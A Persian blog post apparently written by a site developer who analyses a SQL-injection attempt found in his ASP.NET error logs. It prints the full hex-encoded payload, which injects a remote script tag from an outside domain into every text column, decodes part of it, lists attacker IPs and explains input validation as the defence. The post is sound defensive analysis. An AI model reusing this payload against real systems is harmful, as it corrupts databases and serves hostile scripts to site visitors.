چند روز پيش داشتم لاگهاي خطاي يكي از سايتهايي رو كه درست كردهام بررسي ميكردم، متوجه حجم بالاي فايل لاگ خطاي آن شدم (در چند سايت مختلف اين مورد مشابه را ديدم). پس از بررسي، مورد زير بسيار جالب بود:
Log Entry :
Error Raw Url :/show.aspx?id=15;DECLARE%20@S%20CHAR(4000);SET%20@S=
CAST(0x4445434C415245204054207661726368617228323535292C404
32076617263686172283430303029204445434C415245205461626C655F4375727
36F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616
D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220
776865726520612E69643D622E696420616E6420612E78747970653D27752720616E
642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78
747970653D323331206F7220622E78747970653D31363729204F50454E205461626C65
5F437572736F72204645544348204E4558542046524F4D20205461626C655F43757273
6F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D3
02920424547494E20657865632827757064617465205B272B40542B275D20736574205B
272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D226874
74703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E
3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B4
0432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C7363726970742073
72633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6
A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20
205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461
626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);
IP=120.129.71.187
vahidnasiri.blogspot.com
خوب اين چي هست؟!
قبل از اينكه با اجراي عبارت SQL فوق به صورت تستي و محض كنجكاوي، كل ديتابيس جاري (SQL server) را آلوده كنيم ميشود تنها قسمت cast آنرا مورد بررسي قرار داد. براي مثال به صورت زير:
print CAST(0x444... AS CHAR(4000))
خروجي، عبارت زير خواهد بود كه به صورت استادانهاي مخفي شده است:
DECLARE @T varchar(255),
@C varchar(4000)
DECLARE Table_Cursor CURSOR
FOR
SELECT a.name,
b.name
FROM sysobjects a,
syscolumns b
WHERE a.id = b.id
AND a.xtype = 'u'
AND (
b.xtype = 99
OR b.xtype = 35
OR b.xtype = 231
OR b.xtype = 167
)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
.....
عبارت T-SQL فوق، تمامي فيلدهاي متني (varchar ، char ، text و امثال آن) كليه جداول ديتابيس جاري را پيدا كرده و به آنها اسكريپتي را اضافه ميكند. (آدرسهاي فوق وجود ندارد و بنابراين ارجاع آن صرفا سبب كندي شديد باز شدن صفحات سايت خواهد شد بدون اينكه نمايش ظاهري خاصي را مشاهده نمائيد)
اين حمله اس كيوال موفق نبود. علت؟
اگر به آدرس بالا دقت كنيد آدرس صفحه به show.aspx?id=15 ختم ميشود. براي مثال نمايش خبر شماره 15 در سايت. در اينجا، هدف، دريافت يك عدد صحيح از طريق query string است و نه هيچ چيز ديگري. بنابراين قبل از انجام هر كاري و تنها با بررسي نوع داده دريافتي، اين نوع حملات عقيم خواهند شد. (براي مثال بكارگيري ...int.Parse(Request) در صورت عدم دريافت يك متغير عددي، سبب ايجاد يك exception شده و برنامه در همين نقطه متوقف ميشود)
IP هاي زير حمله بالا رو انجام دادند:
IP=61.153.33.106
IP=211.207.124.182
IP=59.63.97.18
IP=117.88.137.174
IP=58.19.130.130
IP=121.227.61.188
IP=125.186.252.99
IP=218.79.55.50
IP=125.115.2.4
IP=221.11.190.75
IP=120.129.71.187
IP=221.205.71.199
IP=59.63.97.18
IP=121.227.61.188
اين آي پيها يا چيني هستند يا كرهاي و البته الزامي هم ندارد كه حتما متعلق به اين كشورها باشند (استفاده از پروكسي توسط يك "هموطن" براي مثال).
حالا شايد سؤال بپرسيد كه چرا از اين اعداد هگز استفاده كردهاند؟ چرا مستقيما عبارت sql را وارد نكردهاند؟
هميشه ورودي ما از يك كوئري استرينگ عدد نخواهد بود (بسته به طراحي برنامه). در اين موارد بررسي اعتبار كوئري استرينگ وارد شده بسيار مشكل ميشود. براي مثال ميشود تابعي طراحي كرد كه اگر در مقدار دريافتي از كوئري استرينگ، select يا insert يا update و امثال آن وجود داشت، به صورت خودكار آنها را حذف كند. اما استفاده از cast فوق توسط فرد مهاجم، عملا اين نوع روشها را ناكارآمد خواهد كرد. براي مقابله با اين حملات اولين اصلي را كه بايد بهخاطر داشت اين است: به كاربر اجازه انشاء نوشتن ندهيد! اگر قرار است طول رشته دريافتي مثلا 32 كاراكتر باشد، او حق ندارد بيشتر از اين مقداري را وارد نمايد (به طول بيش از اندازه رشته وارد شده فوق دقت نمائيد).
و موارد ديگري از اين دست (شامل تنظيمات IIS ، روشهاي صحيح استفاده از ADO.NET براي مقابله با اين نوع حملات و غيره) كه خلاصه آنها را در كتاب فارسي زير ميتوانيد پيدا كنيد:
http://naghoos-andisheh.ir/product_info.php?products_id=197